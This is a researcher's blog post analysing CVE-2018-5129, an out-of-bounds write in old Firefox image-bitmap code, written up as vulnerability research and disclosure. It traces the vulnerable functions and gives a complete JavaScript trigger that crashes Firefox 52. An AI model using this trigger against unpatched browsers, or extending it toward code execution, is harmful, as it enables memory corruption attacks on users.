Introduction
This blogpost came about through my development of an exploit for a Firefox vulnerability towards the end of last year. Before I get into the technical details, there's a little bit of background required about what happened over the couple of months in which I developed the exploit and my old version of the article.
Beginning in November I decided that I wanted to have a go at some more 'real-world' exploitation. I wanted something that was really accessible with regards to debugging, exploitation and availability of learning materials already out there. For this reason I selected a browser, specifically Firefox. There is a wealth of knowledge not only with regard to the development and maintenance of the browser but it's fully open-source, has a few notable examples of prior exploitation research, and seemed like a bit of fun!
With my target decided all I needed was to dive into past vulnerabilities and select one that looked interesting. Whilst stumbling through the advisories I came across CVE-2017-5428. This bug was interesting not only because it was used in Pwn2Own 2017 but because it was possible to exploit through Javascript. Now armed with a vulnerability my goal was to pop calc.* (.exe for windows and .app for the mac peeps out there).
After spending a considerable number of sleepless nights developing an exploit for CVE-2017-5428, I came to realise that I had actually developed an exploit for a different vulnerability. At this point your probably thinking, what? How does one develop an exploit for a different vulnerability? There was only one vulnerability in the advisory? Well, This bug was actually one that I had discovered myself in the process of developing my exploit - I just did not realise it was a vulnerability in it's own right. It turned out to be a really interesting experience and this article aims to shed some light on the process and the vulnerability.
VulnerabilitY Overview
CVE-2017-5428 (Pwn2Own 2017) Overview
On March 17 2017 Firefox released an advisory detailing a vulnerability discovered by the Chaitin Security Research Lab (CVE-2017-5428) affecting Firefox < 52.0.1. The vulnerability was reported via Trend Micro's Zero Day Initiative as a result of Pwn2Own 2017. The Firefox reference for the vulnerability (bug#1348168) contains the internal discussions around the remediation and the exploit / writeup from the competition itself.
CVE-2017-5428 is an Integer Overflow in the createImageBitmap()
function. Specifically, an overloaded Constructor of the ImageBitmap
Object that accepts an ArrayBuffer
or ArrayBufferView
as an argument.
CVE-2018-5129 Overview
On March 13 2018 Firefox released an advisory disclosing the vulnerability that I had discovered as part of my exploit for CVE-2017-5428. The vulnerability can be triggered in Firefox < 52.0.1 from unprivileged Javascript but in newer versions of Firefox the trigger would need to be crafted with some tricky encrypted video file metadata.
This blogpost will focus on the technical details of CVE-2018-5129 and the process of crafting a trigger.
Understanding The Vulnerability
Some Important Objects...
Before we dive into the technical analysis of the vulnerability I thought it would be useful to contextualise the purpose of the objects and how they relate to the inner-workings of the browser.
ImageBitmap
The first important object to understand is the ImageBitmap
object. This object represents an interface that can store a Bitmap Image which can be drawn onto a <canvas>
element without any noticeable rendering time. There are a number of ways to create the object using the createImageBitmap()
factory method however as a result of CVE-2017-5428, a couple of the overloaded Constructors have been depreciated. The ImageBitmap
object also provides an asynchronous and resource friendly way to prepare textures for rendering in WebGL.
The object has 2 properties width
and height
, with only 1 method - close()
which disposes of all the graphical resources associated with the ImageBitmap
object.
ImageBitmapFormatImageBitmapFormat
is an enum class with a number of members. The enum members represent the various different uint32_t
internal formats an ImageBitmap
object can take. These different formats are shown in the enum class definition as follows:
enum class ImageBitmapFormat : uint32_t {
RGBA32,
BGRA32,
RGB24,
BGR24,
GRAY8,
YUV444P,
YUV422P,
YUV420P,
YUV420SP_NV12,
YUV420SP_NV21,
HSV,
Lab,
DEPTH,
EndGuard_
};
RecyclingPlanarYCbCrImage & PlanarYCbCrImage
The RecyclingPlanarYCbCrImage or PlanarYCbCrImage objects represent the raw image data. The difference between the PlanarYCbCrImage and Recycling objects is that the Recycling object makes use of an internal buffer allocation mechanism. This features a simple Array that stores each buffer currently allocated or free. This way, new objects initialised and allocated will take the buffer from the Array of free buffers, thus 'recycling' old memory instead of requesting more memory.
The Approach
Initially lets take a look at the vulnerability without context. This means introducing the relevant functions and vulnerability class without understanding how to reach it from Javascript. The second part of this blogpost will then involve tracing through the codebase and developing the Javascript trigger.
Function #1 - RecyclingPlanarYCbCrImage::CopyPlane
The first function of relevance is the CopyPlane
function shown below. It's name directly corresponds to it's functionality - It copies the aSrc
buffer into the aDst
buffer. However, depending on the aSkip
argument - the function will perform one of two types of copy:
- if
aSkip
== 0, the 'Fast path' will be taken. This path uses thememcpy
function to copy theaSrc
buffer into theaDst
buffer. The size calculation is based on the result ofaSize.height
*aStride
which are both provided by the calling function. - if
aSkip
!= 0, the 'Slow path' will be taken. This path makes use of a nested for-loop to iterate over both theaSrc
andaDst
buffer, copying one-byte per iteration.
CopyPlane(uint8_t *aDst, const uint8_t *aSrc, const gfx::IntSize &aSize, int32_t aStride, int32_t aSkip)
{
if (!aSkip) { /* 1 */
// Fast path: planar input.
memcpy(aDst, aSrc, aSize.height * aStride);
} else { /* 2 */
int32_t height = aSize.height;
int32_t width = aSize.width;
for (int y = 0; y < height; ++y) {
const uint8_t *src = aSrc;
uint8_t *dst = aDst;
// Slow path
for (int x = 0; x < width; ++x) {
*dst++ = *src++;
src += aSkip; /* Nuance 1 */
}
/* Nuance 2 */
aSrc += aStride;
aDst += aStride;
}
}
}
The functionality provided by CopyPlane
is nothing out of the ordinary, often DOM and Javascript engines provide an optimised 'Fast' path and a comparitively 'Slow' path for an increase in processing speed when certain criteria are met. That said, in this case there are a couple of nuances that need to be mentioned.
- The use of the
aSkip
argument in the 'Slow path' means that ifaSkip = 1 (or anything !0)
, each iteration within the innerx
loop of the copy will skip 1-byte of theaSrc
buffer. This is important to keep in mind for exploitation. - The
aStride
argument is used each iteration after innerx
loop completes. Again, ifaStride = 1
1-byte of both theaSrc
andaDst
buffer will be skipped each iteration of our outery
loop.
Now that we understand a little bit about how the CopyPlane
function operates, let's look at the calling function.
Function #2 - RecyclingPlanarYCbCrImage::CopyData
Our calling function in this case is CopyData
. It only has a single argument - aData
. CopyData
acts as a wrapper around the CopyPlane
function that calculates the size, allocates the destination buffers and performs the copy operations on 3 separate channels
through 3 calls to CopyPlane
. For simplicity I have only included lines that are relevant to the vulnerability.
RecyclingPlanarYCbCrImage::CopyData(const Data& aData){
mData = aData;
/* 1 */
// update buffer size
size_t size = mData.mCbCrStride * mData.mCbCrSize.height * 2 + mData.mYStride * mData.mYSize.height;
/* 2 */
// get new buffer
mBuffer = AllocateBuffer(size);
/* 3 */
if (!mBuffer)
return false;
// update buffer size
mBufferSize = size;
mData.mYChannel = mBuffer.get();
mData.mCbChannel = mData.mYChannel + mData.mYStride * mData.mYSize.height;
mData.mCrChannel = mData.mCbChannel + mData.mCbCrStride * mData.mCbCrSize.height;
/* 4 */
CopyPlane(mData.mYChannel, aData.mYChannel, mData.mYSize, mData.mYStride, mData.mYSkip);
CopyPlane(mData.mCbChannel, aData.mCbChannel, mData.mCbCrSize, mData.mCbCrStride, mData.mCbSkip);
CopyPlane(mData.mCrChannel, aData.mCrChannel, mData.mCbCrSize, mData.mCbCrStride, mData.mCrSkip);
...
}
A quick note on CVE-2017-5428
Originally, when tracing the code for CVE-2017-5428 the integer overflow was pretty obvious. The size
variable is defined as size_t
(which is an unsigned integer by default) stores a maximum ULONG_MAX
on 64-bit systems and UINT_MAX
on 32-bit systems. Firefox is 64-bit by default and therefore required a little bit of maths to calculate exactly how large each component of the equation needed to be in order for us to control the overflow however, with some careful maths we can easily overflow the size
variable. The resulting integer value is then used for the buffer allocation. This integer overflow was the basis of the Pwn2Own 2017 entry from Chaitin Security Research Lab and is not the primary focus of this blogpost but I recommend reading their bug report and exploit!
Following the calculation of size
we allocate a buffer from our RecycleBin
. This just means our buffer will be taken from the pre-existing list of buffers allocated for this instance of the RecyclingPlanarYcbCrImage
object. Once we have our buffer, we then proceed to calculate the appropriate offsets for each channel. Each channel represents a different color space as part of the YCbCr
colorspace family. Finally, our CopyPlane
function is called with the relevant arguments.
One thing to note in this function is the mData
member. On line 2 mData
is set to be equal to the aData
argument meaning that in our 3 CopyPlane
calls anything with an aData
argument will not have been modified by the CopyData
function. In turn, this also means any mData
members that have not been modified will be the same as the aData
members (e.g - each of the channel member variables).
An OOB Write to rule them all!
As part of my exploit development process, I performed the same level of analysis on both functions and identified key points that were interesting, or, might make exploitation slightly challenging. It was in this process that I actually identified CVE-2018-5129, but it wasn't until I had converted the trigger into a working heap-spray & info-leak that I realised it was it's own vulnerability.
The first part of this vulnerability is the calculation of the size
variable within the CopyData
function. This calculation uses the following members of mData
:
mData.mCbCrStride <--- CbCr Stride mData.mCbCrSize.height <--- CbCr Height mData.mYStride <--- Y Stride mData.mYSize.height <--- Y Height
The calculation uses the stride
and height
of 2 separate 'Channel' objcts to calculate the total buffer size and therefore the size of each destination mBuffer
for the mYChannel
, mCbChannel
and mCrChannel
's respectively.
At first, I thought this calculation was fine (apart from the clear integer overflow). It was not until I had a closer look at the 'Slow path' of the CopyPlane
function that I noticed the subtle issue.
int32_t height = aSize.height;
int32_t width = aSize.width;
for (int y = 0; y < height; ++y) {
const uint8_t *src = aSrc;
uint8_t *dst = aDst;
// Slow path
for (int x = 0; x < width; ++x) { <----- HERE!!
*dst++ = *src++;
src += aSkip;
}
/* b */
aSrc += aStride;
aDst += aStride;
}
The above snippet is the 'Slow path' from the CopyPlane
function. As described earlier, it uses a 'Slow' nested for-loop copy to iterate over the aSrc
and aDst
buffers and copy the image data byte-by-byte. However, the part of this function I overlooked to begin with that I subsequently realised was vulnerable, is the inner width
for-loop. The inner loop uses the width
property to perform the x
axis of the copy. This is the second part of the vulnerability.
The issue here is that the size
calculation and subsequent allocation of the mBuffer
variable in CopyData
does NOT make use of the width
variable whatsoever. It calculates the size of the destination buffer based on the height
and stride
but not the width
. Our CopyPlane
function then iterates over the height
and the width
of our aSrc
and aDst
.
So to recap, we have the following two conditions:
- A size calculation based on the
height
*stride
. - A nested for-loop where the inner for-loop iterates over the
width
of a buffer - a variable not taken into consideration in step 1.
I then scrambled to create a trigger. Within a couple of hours I was able to reliably crash Firefox 52 with an OOB Write.
Crafting the Trigger
Now that we understand the vulnerability we need to demonstrate that it has an undesireable affect on the browser. In this section I am going to identify the easiest path to the vulnerable code and work through each step by presenting the in-progress Javascript trigger.
After exploring numerous potential code paths, the easiest in Firefox 52 was through the exposed createImageBitmap()
function. Our path to calc.exe looks like this:
createImageBitmap()
ImageBitmap::Create
ImageBitmap::CreateImageFromBufferSourceRawData
CopyData
CopyPlane
1. Our Entry Point
The createImageBitmap
function is a factory method that can be called from a Web Worker or the main thread. It has a number of overloads however the one we are interested in is shown below:
createImageBitmap(buffer, offset, length, 'FORMAT', [layout1, layout2, layout3]);
This is our entry point. From here, we can begin working our way into deeper parts of the engine.
2. Our ImageBitmap Constructor
The constructor for the ImageBitmap object is very similar to our Javascript entry point. It will take the buffer
, offset
, length
, format
and Layout
and begin the initialisation and creation of our ImageBitmap
object.
/*static*/ already_AddRefed
ImageBitmap::Create(nsIGlobalObject* aGlobal,
const ImageBitmapSource& aBuffer, /* 1 */
int32_t aOffset, /* 2 */
int32_t aLength, /* 3 */
mozilla::dom::ImageBitmapFormat aFormat, /* 4 */
const Sequence& aLayout, /* 5 */
ErrorResult& aRv)
aBuffer
: Represents ourArrayBuffer
orArrayBufferView
from which we will craft our ImageBitmap.aOffset
: A signed 32-bit integer representing the offset in theaBuffer
to pull our ImageBitmap data from.aLength
: A signed 32-bit integer representing the length of the object.aFormat
: Represents the format of ouraBuffer
when creating the ImageBitmap.aLayout
: The array of layout objects for theImageBitmap
.
The following shows the relevant parts from the body of the constructor.
...
uint8_t* bufferData = nullptr;
uint32_t bufferLength = 0;
/* 1 */
if (aBuffer.IsArrayBuffer()) {
const ArrayBuffer& buffer = aBuffer.GetAsArrayBuffer();
buffer.ComputeLengthAndData();
bufferData = buffer.Data();
bufferLength = buffer.Length();
} else if (aBuffer.IsArrayBufferView()) {
const ArrayBufferView& bufferView = aBuffer.GetAsArrayBufferView();
bufferView.ComputeLengthAndData();
bufferData = bufferView.Data();
bufferLength = bufferView.Length();
} else {
aRv.Throw(NS_ERROR_NOT_IMPLEMENTED);
return promise.forget();
}
...
/* 2 */
// Check the buffer.
if (((uint32_t)(aOffset + aLength) > bufferLength)) {
aRv.Throw(NS_ERROR_DOM_INDEX_SIZE_ERR);
return promise.forget();
}
// Create and Crop the raw data into a layers::Image
RefPtr data;
/* 3 */
if (NS_IsMainThread()) {
data = CreateImageFromBufferSourceRawData(bufferData + aOffset, bufferLength,
aFormat, aLayout);
} else {
...
}
...
}
There are 3 important pieces to understand within the constructor:
- Ensures the
aBuffer
or ouraSrc
is anArrayBuffer
orArrayBufferView
. - This check ensures that our provided
aOffset
andaLength
is less than thebufferLength
calculated in part 1. - Finally, a check is made to ensure execution is occurring on the main thread. If we decided to create our ImageBitmap objects from a Web-worker, this if statement evaluate to false and the else would evaluate. It is therefore important that the
if(NS_IsMainThread())
evaluates true because theCreateImageFromBufferSourceRawData
function is the next stage of our relevant code path.
At this point, our trigger might look something like this:
try{
var aBuffer = new Uint8Array(0x100000);
var aOffset = 0;
var aLength = 0x1000;
bitmap = createImageBitmap(aBuffer, aOffset, aLength, 'FORMAT', [...]);
} catch (ex) {
console.log(ex);
}
3. CreateImageFromBufferSourceRawData
This next function took a while to review mainly because of the trial and error involved with the large switch statement containing a number of different image formats. Nonetheless this function takes our aBufferData
, aBufferLength
, aFormat
, and aLayout
arguments, manipulates them, and calls our vulnerable CopyData
function.
CreateImageFromBufferSourceRawData(const uint8_t *aBufferData, /* 1 */
uint32_t aBufferLength, /* 2 */
mozilla::dom::ImageBitmapFormat aFormat, /* 3 */
const Sequence& aLayout)/* 4 */
const uint8_t *aBufferData
- A pointer to our aBufferData as described by thebufferData
+aOffset
from theImageBitmap::Create
method.uint32_t aBufferLength
- an unsigned 32-bit integer that has been validated and passed in.mozilla::dom::ImageBitmapFormat aFormat
- An ImageBitmapFormat object passed straight from theImageBitmap::Create
method.const Sequence<ChannelPixelLayout>& aLayout
- the address of our layout object passed straight from theImageBitmap::Create
method.
The CreateImageFromBufferSourceRawData
method is used to create an image from our buffer. The format in which our resulting ImageBitmap
will take is dependent on our aFormat
parameter. This aFormat
parameter is passed into a switch statement which is then used to select the format of the resulting ImageBitmap
. There are a number of different formats this object can take but at the point of Firefox 52.0 being released only 2 cases had an implementation - case ImageBitmapFormat::DEPTH:
and case ImageBitmapFormat::YUV420SP_NV21:
. case ImageBitmapFormat::YUV420SP_NV21:
is the case we are interested in.
case ImageBitmapFormat::RGBA32:
case ImageBitmapFormat::BGRA32:
case ImageBitmapFormat::RGB24:
case ImageBitmapFormat::BGR24:
case ImageBitmapFormat::GRAY8:
case ImageBitmapFormat::HSV:
case ImageBitmapFormat::Lab:
case ImageBitmapFormat::DEPTH:
{
...
}
case ImageBitmapFormat::YUV444P:
case ImageBitmapFormat::YUV422P:
case ImageBitmapFormat::YUV420P:
case ImageBitmapFormat::YUV420SP_NV12:
case ImageBitmapFormat::YUV420SP_NV21:
{
TARGET
}
The target format - YUV420SP_NV21
is used for a specific color encoding format known as YUV. It is typically used as part of a color image pipeline. The aFormat
parameter in our call to createImageBitmap
simply needs to be the string 'YUV420P' to hit this case.
The relevant parts of the YUV420SP_NV21
case body are shown below:
...
// Prepare the PlanarYCbCrData.
/* 1 */
const ChannelPixelLayout& yLayout = aLayout[0];
const ChannelPixelLayout& uLayout = aFormat != ImageBitmapFormat::YUV420SP_NV21 ? aLayout[1] : aLayout[2];
const ChannelPixelLayout& vLayout = aFormat != ImageBitmapFormat::YUV420SP_NV21 ? aLayout[2] : aLayout[1];
layers::PlanarYCbCrData data;
// Luminance buffer
data.mYChannel = const_cast<uint8_t*>(aBufferData + yLayout.mOffset);
data.mYStride = yLayout.mStride;
data.mYSize = gfx::IntSize(yLayout.mWidth, yLayout.mHeight);
data.mYSkip = yLayout.mSkip;
// Chroma buffers
data.mCbChannel = const_cast<uint8_t*>(aBufferData + uLayout.mOffset);
data.mCrChannel = const_cast<uint8_t*>(aBufferData + vLayout.mOffset);
data.mCbCrStride = uLayout.mStride;
data.mCbCrSize = gfx::IntSize(uLayout.mWidth, uLayout.mHeight);
data.mCbSkip = uLayout.mSkip;
data.mCrSkip = vLayout.mSkip;
// Picture rectangle.
// We set the picture rectangle to exactly the size of the source image to
// keep the full original data.
data.mPicX = 0;
data.mPicY = 0;
data.mPicSize = data.mYSize;
/* 2 */
// Create a layers::Image and set data.
if (aFormat == ImageBitmapFormat::YUV444P ||
aFormat == ImageBitmapFormat::YUV422P ||
aFormat == ImageBitmapFormat::YUV420P) {
/* 3 */
RefPtr image = new layers::RecyclingPlanarYCbCrImage(new layers::BufferRecycleBin());
...
/* 4 */
// Set Data.
if (NS_WARN_IF(!image->CopyData(data))) {
return nullptr;
}
return image.forget();
} else {
...
}
As you can see - theres a little bit of logic involved and a few bits and pieces to understand.
- Here there are a couple of lines to determine the number of layout objects provided to the
createImageBitmap
function. The two inline boolean expressions determine the order of the layouts based on theaFormat
parameter. For our sake, we need 3 layout objects -yLayout
,uLayout
andvLayout
. Note: Following step 1 there are a number of operations on ouraBufferData
and layout objects, these setup ourdata
object passed toCopyData
from our 3 layout objects. - This check just ensures that we provided our
YUV420P
format. - Create the
image
object that ourdata
will be copied into. This object is aRecyclingPlanarYCbCrImage
and is stored in a parent-typePlanarYCbCrImage
RefPtr. It should be noted that eachRecyclingPlanarYCbCrImage
is initialized with a newBufferRecyleBin
object. - Finally, our
CopyData
function is invoked with our maliciousdata
object.
Our trigger might now look something like this:
try{
//Represents the Cr.. elements
vLayout = {
offset: 0,
width: 4,
height: 1,
dataType: 'uint8',
stride: 1,
skip: 0,
};
//represents our Y elements
yLayout = {
offset: 0,
//mData.mYSize:
width: 4, //mData.mYSize.width
height: 4, //mData.mYSize.height
dataType: 'uint8',
stride: 1, //mData.mYStride
skip: 1,
};
//Represents the Cb.. elements
uLayout = {
offset: 0,
//mData.mCbCrSize:
width: 0, //mData.mCbCrSize.width
height: 1, //mData.mCbCrSize.height
dataType: 'uint8',
stride: 4, //mData.mCbCrStride
skip: 1,
};
var aBuffer = new Uint8Array(0x100000);
var aOffset = 0;
var aLength = 0x1000;
bitmap = createImageBitmap(aBuffer, aOffset, aLength, 'YUV420P', [yLayout, uLayout, vLayout]);
} catch (ex) {
console.log(ex);
}
I have included a couple of inline comments to describe which of the Javascript layout objects are relevant to the variables in CreateImageFromBufferSourceRawData
. This makes it a little bit easier to determine which parts of the CopyData
function we control.
4 CopyData & CopyPlane
We are now back in the vulnerable code. As discussed before, there are 2 bugs between the 2 functions:
- A size calculation based on the
height
*stride
. - A nested for-loop where the inner for-loop iterates over the
width
of a buffer - a variable not taken into consideration at step 1.
The last piece of the puzzle is crafting our layout objects such that we overflow our aDst
buffer. This requires some simple maths.
If the aDst
buffer is calculated from the following equation:
size_t size = mData.mCbCrStride * mData.mCbCrSize.height * 2 + mData.mYStride * mData.mYSize.height;
And we control all 4 parts of the equation, we can control the size of the allocated aDst
buffer.
For example:
mData.mCbCrStride = 1 mData.mCbCrSize.height = 1 mData.mYStride = 1 mData.mYSize.height = 1024 size_t size = mData.mCbCrStride * mData.mCbCrSize.height * 2 + mData.mYStride * mData.mYSize.height; size == 1026 bytes
So if our aDst
buffer is 1026 bytes long, all we need is our width
to be > 1026 and we will trigger the OOB.
The Completed Trigger
If we now just place the relevant values into the Javascript layout objects in our trigger:
try{
//Represents the Cr.. elements
vLayout = {
offset: 0,
width: 4,
height: 1,
dataType: 'uint8',
stride: 1,
skip: 0,
};
//represents our Y elements
yLayout = {
offset: 0,
//mData.mYSize:
width: 1, //mData.mYSize.width
height: 1024, //mData.mYSize.height
dataType: 'uint8',
stride: 1, //mData.mYStride
skip: 1,
};
//Represents the Cb.. elements
uLayout = {
offset: 0,
//mData.mCbCrSize:
width: 2048, //mData.mCbCrSize.width
height: 1, //mData.mCbCrSize.height
dataType: 'uint8',
stride: 1, //mData.mCbCrStride
skip: 1,
};
var aBuffer = new Uint8Array(0x100000);
var aOffset = 0;
var aLength = 0x1000;
bitmap = createImageBitmap(aBuffer, aOffset, aLength, 'YUV420P', [yLayout, uLayout, vLayout]);
} catch (ex) {
console.log(ex);
}
Wrap that in some<script></script>
tags and voila!
Closing Words
Having now analysed the vulnerability and crafted a trigger, the next step is to pop calc. I will leave this as an exercise for the reader but, this process is a little more challenging and took me significantly longer than I am willing to admit. Nonetheless, I enjoyed the steep learning curve.
The whole experience of going from deciding to do some real world exploitation, to discovering my first vulnerability, writing a trigger, crafting an exploit and then working with Firefox to fix it was great. On a more technical note, Firefox is a complex beast and I encourage anyone interested in learning more about how browsers work behind the scenes to take a long walk through the codebase.
If anyone has any feedback or has spotted an error somewhere, feel free to ping me on twitter anytime@0x4a47!
Thanks, James.
P.S - I wanted to give a shoutout to Pauljt from Mozilla. Paul helped me from the moment I took interest in the Firefox codebase and in the months following me reporting this bug. I definitely owe Paul a beer for the many 3am messages about Firefox internals, connecting me with the right people and me constantly poking him about the status of the bug. Paul also brought to my attention that I missed some of the finer details about to the situation surrounding `createImageBitmap`, my aim is to clear these up in a future blogpost.
Timeline:
- 08/01/2018: I reported the vulnerability to Firefox.
- 11/02/2018: The vulnerability was patched.
- 13/03/2018: Firefox released the vulnerability in their Security Advisory for FF59.
- 30/072018: Firefox made the bug public :)